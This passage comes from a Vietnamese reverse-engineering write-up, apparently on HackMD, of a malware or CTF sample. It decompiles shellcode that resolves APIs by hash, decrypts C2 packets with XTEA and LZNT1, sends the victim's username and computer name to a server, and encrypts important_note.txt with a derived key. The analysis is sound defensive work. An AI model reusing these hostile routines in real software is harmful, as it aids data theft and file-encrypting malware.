  v5 = a1;
  v6 = (<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD *, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>))(*a1)(<span class="hljs-number">0x37AC0DEC</span>, <span class="hljs-number">0x4A1C450C</span>);
  v7 = (<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span> (__stdcall ***)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>), <span class="hljs-keyword">char</span> *))(*v5)(<span class="hljs-number">0x37AC0DEC</span>, <span class="hljs-number">0x8FC8E20</span>);
  <span class="hljs-keyword">if</span> ( !v6 )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  <span class="hljs-keyword">if</span> ( !v7 )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  <span class="hljs-keyword">if</span> ( v7(<span class="hljs-number">258</span>, &amp;a1, v12) &gt;= <span class="hljs-number">0x8000000</span> )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  v8 = ((<span class="hljs-keyword">int</span> (__cdecl *)(<span class="hljs-keyword">int</span> (__stdcall **)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>)))v5[<span class="hljs-number">5</span>])(a1);
  v9 = v8;
  <span class="hljs-keyword">if</span> ( !v8 )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  <span class="hljs-keyword">if</span> ( v6(<span class="hljs-number">258</span>, a2, a3, a4 + <span class="hljs-number">1</span>, *a5 - <span class="hljs-number">4</span>, <span class="hljs-number">4096</span>, &amp;v13, v8) &gt;= <span class="hljs-number">0x8000000</span> )
  {
    ((<span class="hljs-keyword">void</span> (__cdecl *)(<span class="hljs-keyword">int</span>))v5[<span class="hljs-number">6</span>])(v9);
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  }
  v11 = a5;
  *a4 = <span class="hljs-string">'LZNT'</span>;
  *v11 = v13 + <span class="hljs-number">4</span>;
  ((<span class="hljs-keyword">void</span> (__cdecl *)(<span class="hljs-keyword">int</span>))v5[<span class="hljs-number">6</span>])(v9);
  <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
}
</code></pre>
<p>Hàm giải mã</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">char</span> __stdcall <span class="hljs-title">sub_DD3B59</span><span class="hljs-params">(<span class="hljs-keyword">int</span> (__stdcall **a1)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>), _DWORD *a2, <span class="hljs-keyword">int</span> a3, <span class="hljs-keyword">int</span> a4, _DWORD *a5)</span>
</span>{
  _DWORD *v5; <span class="hljs-comment">// esi</span>
  <span class="hljs-keyword">int</span> (__stdcall *v6)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD *, <span class="hljs-keyword">int</span>, _DWORD **); <span class="hljs-comment">// eax</span>
  _DWORD *v7; <span class="hljs-comment">// ecx</span>
  _DWORD *v8; <span class="hljs-comment">// esi</span>

  v5 = a2;
  <span class="hljs-keyword">if</span> ( *a2 != <span class="hljs-string">'LZNT'</span> )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  v6 = (<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD *, <span class="hljs-keyword">int</span>, _DWORD **))(*a1)(<span class="hljs-number">934022636</span>, <span class="hljs-number">1259364965</span>);
  v7 = v5 + <span class="hljs-number">1</span>;
  v8 = a5;
  <span class="hljs-keyword">if</span> ( v6(<span class="hljs-number">2</span>, a4, *a5, v7, a3 - <span class="hljs-number">4</span>, &amp;a2) &gt;= <span class="hljs-number">0x8000000</span> )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  *v8 = a2;
  <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
}
</code></pre>
<p>Sau khi vào hàm xử lý, chương trình nhảy vào option default</p>
<p><img src="https://hackmd.io/_uploads/SJrshp9cp.png" alt="image" /></p>
<p>Lần này trước khi gửi đi thì nó thực hiễn mã hõa <code>LZNT1</code> trước như sau</p>
<p><img src="https://hackmd.io/_uploads/rJ--pT5qp.png" alt="image" /></p>
<p>Bên trong hàm mã hóa <code>LZNT1</code> nó thực hiện gọi 2 hàm lần lượt là <code>ntdll_RtlCompressBuffer</code> và <code>ntdll_RtlGetCompressionWorkSpaceSize</code></p>
<p><img src="https://hackmd.io/_uploads/Bk-R6pqca.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/HyWg0p5ca.png" alt="image" /></p>
<p>Tiếp đến nó lại mã hóa đống data vừa được mã hóa bằng <code>LZNT1</code> bằng mã hóa <code>XTEA</code> rồi sau đó lại trả về kết quả cho ta</p>
<p><img src="https://hackmd.io/_uploads/Sy2DCTc9T.png" alt="image" /></p>
<p><strong>Gói tin thứ 5</strong> sau khi được giải mã <code>XTEA</code> rồi đến giải mã <code>LZNT1</code> thì có nội dụng như sau</p>
<p>Nội dụng sau khi được giải mã <code>XTEA</code></p>
<p><img src="https://hackmd.io/_uploads/SJccJCc9a.png" alt="image" /></p>
<p>Nội dụng sau khi được giải mã hoàn toàn giống với nội dụng của <strong>gói tin đầu tiên</strong></p>
<p><img src="https://hackmd.io/_uploads/ByOa1R59T.png" alt="image" /></p>
<p>Sau đó kết quả lại được mã hóa <code>LZNT1</code> rồi đến mã hóa <code>XTEA</code> để gửi trả.</p>
<p><strong>Gói tin thứ 6</strong> có nội dung cũng không có gì lắm sau khi được giải mã</p>
<p><img src="https://hackmd.io/_uploads/S1N7WR596.png" alt="image" /></p>
<p>Ta sẽ bỏ qua nó luôn để đến với <strong>gói tin thứ 7</strong> là đoạn shellcode dài nhất. Nhưng khi mình xem thử nó là gì sau khi giải mã <code>XTEA</code> rồi đến <code>LZNT1</code> thì trông nó như sau</p>
<p><img src="https://hackmd.io/_uploads/HkiRb095p.png" alt="image" /></p>
<p>Trông có vẻ như nó vẫn còn 1 lớp mã hóa nữa thì mới có thể đọc được, để đọc được t cần phải trace xem nó được gọi lúc nào là được.</p>
<p>Tiếp theo xem trong hàm xử lý dữ liệu trả về xem nó có làm gì khác không</p>
<p><img src="https://hackmd.io/_uploads/H1WYf0q5T.png" alt="image" /></p>
<p>Lần này chương trình chạy vào option thứ 2, trong này nó vẫn sử dụng mã hóa <code>LZNT1</code> rồi đến mã hóa <code>XTEA</code> để mã hóa rồi gửi trả.</p>
<p><strong>Gói tin thứ 8</strong> sau khi tất cả các shellcode đã được load, dù ta chưa biết gói tin shellcode thứ 3 nó là gì, thì gói tin này sẽ chứa request mà ta yêu cầu</p>
<p>Nội dung của gói những gói tin này sau khi giải mã xong mình lại không đọc được, không biết do sao, nhưng mình kệ cho nó chạy tiếp vào hàm response xem sao.</p>
<p>Lần này nó đã chạy vào option thứ 3</p>
<p><img src="https://hackmd.io/_uploads/rkszrA95a.png" alt="image" /></p>
<p>Ở trong này nó gọi 1 hàm mà mình không biết nó là hàm gì, nên mình đặt 1 breakpoint ở đây xem sao, mình thấy nó là 1 đoạn shellcode khá dài, nên mình nghĩ đây sẽ là code sau khi được giải mã ở gói shellcode thứ 3 mà nãy ta không đọc được</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">int</span> __stdcall <span class="hljs-title">sub_B20000</span><span class="hljs-params">(<span class="hljs-keyword">int</span> a1, <span class="hljs-keyword">int</span> a2, _BYTE *a3, <span class="hljs-keyword">int</span> a4)</span>
</span>{
  <span class="hljs-keyword">int</span> result; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> v5; <span class="hljs-comment">// esi</span>
  <span class="hljs-keyword">int</span> (__stdcall *v6)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">void</span> (__stdcall *v7)(<span class="hljs-keyword">char</span> *, <span class="hljs-keyword">int</span> *); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> v8; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall *v9)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">void</span> (__stdcall *v10)(<span class="hljs-keyword">char</span> *, <span class="hljs-keyword">int</span> *); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">char</span> v11; <span class="hljs-comment">// [esp+4h] [ebp-108h] BYREF</span>
  <span class="hljs-keyword">int</span> v12; <span class="hljs-comment">// [esp+5h] [ebp-107h]</span>
  <span class="hljs-keyword">char</span> v13[<span class="hljs-number">259</span>]; <span class="hljs-comment">// [esp+9h] [ebp-103h] BYREF</span>

  <span class="hljs-keyword">if</span> ( !*a3 )
  {
    v5 = a1;
    (*(<span class="hljs-keyword">void</span> (__cdecl **)(<span class="hljs-keyword">char</span> *, _DWORD, <span class="hljs-keyword">int</span>))(a1 + <span class="hljs-number">12</span>))(&amp;v11, <span class="hljs-number">0</span>, <span class="hljs-number">261</span>);
    v9 = *(<span class="hljs-keyword">int</span> (__stdcall **)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>))v5;
    a1 = <span class="hljs-number">256</span>;
    v10 = (<span class="hljs-keyword">void</span> (__stdcall *)(<span class="hljs-keyword">char</span> *, <span class="hljs-keyword">int</span> *))v9(<span class="hljs-number">249665980</span>, <span class="hljs-number">1071500813</span>);
    <span class="hljs-keyword">if</span> ( v10 )
      v10(v13, &amp;a1);
    v12 = a2;
    v8 = a1 + <span class="hljs-number">4</span>;
    <span class="hljs-keyword">goto</span> LABEL_11;
  }
  <span class="hljs-keyword">if</span> ( *a3 == <span class="hljs-number">1</span> )
  {
    v5 = a1;
    (*(<span class="hljs-keyword">void</span> (__cdecl **)(<span class="hljs-keyword">char</span> *, _DWORD, <span class="hljs-keyword">int</span>))(a1 + <span class="hljs-number">12</span>))(&amp;v11, <span class="hljs-number">0</span>, <span class="hljs-number">261</span>);
    v6 = *(<span class="hljs-keyword">int</span> (__stdcall **)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>))v5;
    a1 = <span class="hljs-number">256</span>;
    v7 = (<span class="hljs-keyword">void</span> (__stdcall *)(<span class="hljs-keyword">char</span> *, <span class="hljs-keyword">int</span> *))v6(<span class="hljs-number">483040486</span>, <span class="hljs-number">129557701</span>);
    <span class="hljs-keyword">if</span> ( v7 )
      v7(v13, &amp;a1);
    v12 = a2;
    v8 = a1 + <span class="hljs-number">5</span>;
LABEL_11:
    v11 = <span class="hljs-number">3</span>;
    <span class="hljs-keyword">return</span> (*(<span class="hljs-keyword">int</span> (__stdcall **)(<span class="hljs-keyword">char</span> *, <span class="hljs-keyword">int</span>))(v5 + <span class="hljs-number">4</span>))(&amp;v11, v8);
  }
  result = (<span class="hljs-keyword">unsigned</span> __int8)*a3 - <span class="hljs-number">2</span>;
  <span class="hljs-keyword">if</span> ( *a3 == <span class="hljs-number">2</span> )
    <span class="hljs-keyword">return</span> sub_B20280(a2, (<span class="hljs-keyword">int</span> (__stdcall **)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>))a1, a3 + <span class="hljs-number">1</span>);
  <span class="hljs-keyword">return</span> result;
}
</code></pre>
<p>Lúc này chương trình chạy vào luồng sau, thực hiện gọi hàm <code>GetUserNameA</code> để lấy đi tên người dùng, khi mình cho chạy qua thì nó trả ra đúng username của mình</p>
<p><img src="https://hackmd.io/_uploads/SyVvPRc5p.png" alt="image" /></p>
<p>Rồi chương trình lại tiếp tục mã hóa 2 lần rồi gửi phản hồi cho ta. Từ đây ta cũng biết được rằng là server yêu cầu gửi username của nạn nhân</p>
<p><strong>Gói tin thứ9</strong> cũng là 1 request như <strong>gói tin thứ 8</strong> không biết lần này nó sẽ yêu cầu gì , data sau khi được giải mã vẫn không đọc được</p>
<p><img src="https://hackmd.io/_uploads/SJ6SO0cca.png" alt="image" /></p>
<p>Sau đó chương trình lại chạy vào hàm này</p>
<p><img src="https://hackmd.io/_uploads/BkLcuR9cT.png" alt="image" /></p>
<p>Lần này chương trình thực hiện gọi hàm <code>GetComputerNameA</code>, rồi cũng tương tự như mọi lần, mã hóa 2 lần rồi gửi trả cho ta. Ở đây ta cũng biết được rằng server yêu cầu tên máy của nạn nhân</p>
<p><img src="https://hackmd.io/_uploads/HkW4YC9ca.png" alt="image" /></p>
<p><strong>Gói tin cuối cùng</strong></p>
<p><img src="https://hackmd.io/_uploads/r15DF055T.png" alt="image" /></p>
<p>Lần này sau khi giải mã thì nó chứa 1 chuỗi gì đó có thể là dùng cho việc mã hóa</p>
<p><img src="https://hackmd.io/_uploads/B1-6YAc5T.png" alt="image" /></p>
<p>Lần này nó chạy vào 1 hàm mới bên trong hàm có 2 hàm GetName</p>
<pre><code class="lang-cpp"><span class="hljs-keyword">int</span> __usercall sub_B20280@&lt;eax&gt;(<span class="hljs-keyword">int</span> a1@&lt;edx&gt;, <span class="hljs-keyword">int</span> (__stdcall **a2)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>)@&lt;ecx&gt;, <span class="hljs-keyword">char</span> *a3)
{
  <span class="hljs-keyword">int</span> (__stdcall **v3)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ebx</span>
  <span class="hljs-keyword">int</span> (__stdcall *v4)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">void</span> (__stdcall *v5)(_BYTE *, <span class="hljs-keyword">int</span> *); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall *v6)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">void</span> (__stdcall *v7)(_BYTE *, <span class="hljs-keyword">int</span> *); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall *v8)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">int</span> (__stdcall *v9)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall *v10)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">int</span> (__stdcall *v11)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// edi</span>
  <span class="hljs-keyword">int</span> (__stdcall *v12)(<span class="hljs-keyword">int</span>, _DWORD, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall *v13)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">int</span> v14; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall *v15)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">void</span> (__stdcall *v16)(<span class="hljs-keyword">int</span>); <span class="hljs-comment">// esi</span>
  <span class="hljs-keyword">int</span> (__stdcall *v17)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall *v18)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">int</span> (__stdcall *v19)(<span class="hljs-keyword">int</span>, _DWORD); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall *v20)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">void</span> (__stdcall *v21)(_DWORD); <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">char</span> v22; <span class="hljs-comment">// al</span>
  <span class="hljs-keyword">int</span> v24; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> v25; <span class="hljs-comment">// ebx</span>
  <span class="hljs-keyword">int</span> (__stdcall *v26)(<span class="hljs-keyword">int</span>, _DWORD, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> v27; <span class="hljs-comment">// esi</span>
  <span class="hljs-keyword">char</span> v28; <span class="hljs-comment">// cl</span>
  <span class="hljs-keyword">char</span> *v29; <span class="hljs-comment">// edi</span>
  _BYTE *v30; <span class="hljs-comment">// esi</span>
  _BYTE *v31; <span class="hljs-comment">// esi</span>
  <span class="hljs-keyword">int</span> v32; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall **v33)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// esi</span>
  <span class="hljs-keyword">bool</span> v34; <span class="hljs-comment">// al</span>
  <span class="hljs-keyword">int</span> (__stdcall *v35)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">int</span> (__stdcall *v36)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">char</span> v38; <span class="hljs-comment">// [esp+Ch] [ebp-3Ch] BYREF</span>
  <span class="hljs-keyword">int</span> v39; <span class="hljs-comment">// [esp+Dh] [ebp-3Bh]</span>
  <span class="hljs-keyword">char</span> v40; <span class="hljs-comment">// [esp+11h] [ebp-37h]</span>
  <span class="hljs-keyword">int</span> v41; <span class="hljs-comment">// [esp+14h] [ebp-34h]</span>
  <span class="hljs-keyword">void</span> (__stdcall *v42)(<span class="hljs-keyword">int</span>); <span class="hljs-comment">// [esp+18h] [ebp-30h]</span>
  <span class="hljs-keyword">void</span> (__stdcall *v43)(_DWORD); <span class="hljs-comment">// [esp+1Ch] [ebp-2Ch]</span>
  <span class="hljs-keyword">int</span> (__stdcall *v44)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// [esp+20h] [ebp-28h]</span>
  <span class="hljs-keyword">void</span> (__stdcall *v45)(_BYTE *, <span class="hljs-keyword">int</span> *); <span class="hljs-comment">// [esp+24h] [ebp-24h]</span>
  <span class="hljs-keyword">void</span> (__stdcall *v46)(_BYTE *, <span class="hljs-keyword">int</span> *); <span class="hljs-comment">// [esp+28h] [ebp-20h]</span>
  <span class="hljs-keyword">int</span> (__stdcall *v47)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); <span class="hljs-comment">// [esp+2Ch] [ebp-1Ch]</span>
  <span class="hljs-keyword">int</span> (__stdcall *v48)(<span class="hljs-keyword">int</span>, _DWORD, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *); <span class="hljs-comment">// [esp+30h] [ebp-18h]</span>
  <span class="hljs-keyword">int</span> (__stdcall *v49)(<span class="hljs-keyword">int</span>, _DWORD); <span class="hljs-comment">// [esp+34h] [ebp-14h]</span>
  <span class="hljs-keyword">int</span> v50; <span class="hljs-comment">// [esp+38h] [ebp-10h] BYREF</span>
  <span class="hljs-keyword">int</span> v51; <span class="hljs-comment">// [esp+3Ch] [ebp-Ch] BYREF</span>
  <span class="hljs-keyword">int</span> (__stdcall **v52)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// [esp+40h] [ebp-8h]</span>
  <span class="hljs-keyword">bool</span> v53; <span class="hljs-comment">// [esp+47h] [ebp-1h]</span>
  <span class="hljs-keyword">int</span> v54; <span class="hljs-comment">// [esp+50h] [ebp+8h]</span>

  v3 = a2;
  v41 = a1;
  v4 = *a2;
  v52 = a2;
  v50 = <span class="hljs-number">6516325</span>;
  v5 = (<span class="hljs-keyword">void</span> (__stdcall *)(_BYTE *, <span class="hljs-keyword">int</span> *))v4(<span class="hljs-number">483040486</span>, <span class="hljs-number">129557701</span>);
  v6 = *v3;
  v46 = v5;
  v7 = (<span class="hljs-keyword">void</span> (__stdcall *)(_BYTE *, <span class="hljs-keyword">int</span> *))v6(<span class="hljs-number">249665980</span>, <span class="hljs-number">1071500813</span>);
  v8 = *v3;
  v45 = v7;
  v9 = (<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>))v8(<span class="hljs-number">483040486</span>, <span class="hljs-number">1470354217</span>);
  v10 = *v3;
  v11 = v9;
  v44 = v9;
  v12 = (<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, _DWORD, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *))v10(<span class="hljs-number">483040486</span>, <span class="hljs-number">1461157287</span>);
  v13 = *v3;
  v48 = v12;
  v14 = v13(<span class="hljs-number">483040486</span>, <span class="hljs-number">110641196</span>);
  v15 = *v3;
  v16 = (<span class="hljs-keyword">void</span> (__stdcall *)(<span class="hljs-keyword">int</span>))v14;
  v42 = (<span class="hljs-keyword">void</span> (__stdcall *)(<span class="hljs-keyword">int</span>))v14;
  v17 = (<span class="hljs-keyword">int</span> (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v15(<span class="hljs-number">483040486</span>, <span class="hljs-number">1251858184</span>);
  v18 = *v3;
  v47 = v17;
  v19 = (<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, _DWORD))v18(<span class="hljs-number">483040486</span>, <span class="hljs-number">1266602787</span>);
  v20 = *v3;
  v49 = v19;
  v21 = (<span class="hljs-keyword">void</span> (__stdcall *)(_DWORD))v20(<span class="hljs-number">483040486</span>, (<span class="hljs-keyword">int</span>)&amp;unk_3875CFF);
  v22 = <span class="hljs-number">0</span>;
  v43 = v21;
  v53 = <span class="hljs-number">0</span>;
  <span class="hljs-keyword">if</span> ( v46 &amp;&amp; v45 &amp;&amp; v11 &amp;&amp; v48 &amp;&amp; v16 &amp;&amp; v47 &amp;&amp; v49 &amp;&amp; v21 )
  {
    v24 = ((<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">char</span> *, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD))v44)(a3 + <span class="hljs-number">50</span>, <span class="hljs-number">-1073741824</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">4</span>, <span class="hljs-number">128</span>, <span class="hljs-number">0</span>);
    v25 = v24;
    <span class="hljs-keyword">if</span> ( v24 != <span class="hljs-number">-1</span> )
    {
      v44 = (<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>))v49(v24, <span class="hljs-number">0</span>);
      v26 = (<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, _DWORD, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *))v48(v25, <span class="hljs-number">0</span>, <span class="hljs-number">4</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, &amp;v50);
      v48 = v26;
      <span class="hljs-keyword">if</span> ( v26 )
      {
        v47 = (<span class="hljs-keyword">int</span> (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v47(v26, <span class="hljs-number">983071</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>);
        <span class="hljs-keyword">if</span> ( v47 )
        {
          v27 = ((<span class="hljs-keyword">int</span> (__cdecl *)(<span class="hljs-keyword">int</span>))v52[<span class="hljs-number">5</span>])(<span class="hljs-number">256</span>);
          v54 = v27;
          ((<span class="hljs-keyword">void</span> (__cdecl *)(<span class="hljs-keyword">int</span>, _DWORD, <span class="hljs-keyword">int</span>))v52[<span class="hljs-number">3</span>])(v27, <span class="hljs-number">0</span>, <span class="hljs-number">256</span>);
          v28 = *a3;
          <span class="hljs-keyword">if</span> ( *a3 )
          {
            v29 = &amp;a3[-v27];
            <span class="hljs-keyword">do</span>
            {
              *(_BYTE *)v27++ = v28;
              v28 = v29[v27];
            }
            <span class="hljs-keyword">while</span> ( v28 );
          }
          *(_BYTE *)v27 = <span class="hljs-number">95</span>;
          v30 = (_BYTE *)(v27 + <span class="hljs-number">1</span>);
          v51 = <span class="hljs-number">100</span>;
          v46(v30, &amp;v51);
          <span class="hljs-keyword">for</span> ( ; *v30; ++v30 )
            ;
          *v30 = <span class="hljs-number">95</span>;
          v31 = v30 + <span class="hljs-number">1</span>;
          v51 = <span class="hljs-number">100</span>;
          v45(v31, &amp;v51);
          v32 = (<span class="hljs-keyword">int</span>)&amp;v31[v51 - v54];
          v33 = v52;
          v51 = v32;
          v34 = sub_B20100((<span class="hljs-keyword">int</span>)v47, v52, v44, v54, v32);
          v35 = v33[<span class="hljs-number">6</span>];
          v53 = v34;
          ((<span class="hljs-keyword">void</span> (__cdecl *)(<span class="hljs-keyword">int</span>))v35)(v54);
          v43(v47);
          v16 = v42;
        }
        v16(v25);
        v16((<span class="hljs-keyword">int</span>)v48);
      }
      <span class="hljs-keyword">else</span>
      {
        v16(v25);
      }
    }
    v22 = v53;
    v3 = v52;
  }
  v40 = v22;
  v36 = v3[<span class="hljs-number">1</span>];
  v38 = <span class="hljs-number">3</span>;
  v39 = v41;
  <span class="hljs-keyword">return</span> v36((<span class="hljs-keyword">int</span>)&amp;v38, <span class="hljs-number">6</span>);
}
</code></pre>
<p>Sau khi gọi 1 loạt các hàm liên quan đến file, chương trình thực hiện ghép chuỗi <code>encrypted_by_pepega</code> với CompName + UserName thành như sau</p>
<p><img src="https://hackmd.io/_uploads/rk_0q0c5a.png" alt="image" /></p>
<p>Lúc đầu mình tưởng key sẽ là <code>encrypted_by_pepega_DESKTOP-R867K5S_hansha29</code> nhưng khi thấy chương trình load độ dài của key vào để mã hóa, lại load độ dài vào là 45 chứ không phải 44, nên mình kết luận rằng key sẽ phải là <code>encrypted_by_pepega_DESKTOP-R867K5S_hansha29\x00</code>. Đồng thời nó cũng đọc file <code>important_note.txt</code>, chắc là để mã hóa xong ghi đè vào luôn</p>
<p>Sau khi set các giá trị xong thì nó nhảy vào 1 hàm cuối cùng trông như hàm mã hóa, sau khi debug qua 1 lần mình sửa lại các tên biến là như sau</p>
<pre><code class="lang-cpp"><span class="hljs-keyword">bool</span> __usercall sub_B20100@&lt;al&gt;(
        <span class="hljs-keyword">int</span> a1@&lt;edx&gt;,
        <span class="hljs-keyword">int</span> (__stdcall **a2)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>)@&lt;ecx&gt;,
        <span class="hljs-keyword">int</span> (__stdcall *a3)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>),
        <span class="hljs-keyword">int</span> a4,
        <span class="hljs-keyword">int</span> a5)
{
  <span class="hljs-keyword">int</span> (__stdcall *v6)(<span class="hljs-keyword">int</span> *, _DWORD, _DWORD, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall *v7)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// edx</span>
  <span class="hljs-keyword">int</span> (__stdcall *v8)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall *v9)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">void</span> (__stdcall *v10)(<span class="hljs-keyword">int</span>); <span class="hljs-comment">// edi</span>
  <span class="hljs-keyword">int</span> (__stdcall *v11)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall *v12)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">void</span> (__stdcall *v13)(<span class="hljs-keyword">int</span>); <span class="hljs-comment">// ebx</span>
  <span class="hljs-keyword">int</span> (__stdcall *v14)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span> *); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall *v15)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ecx</span>
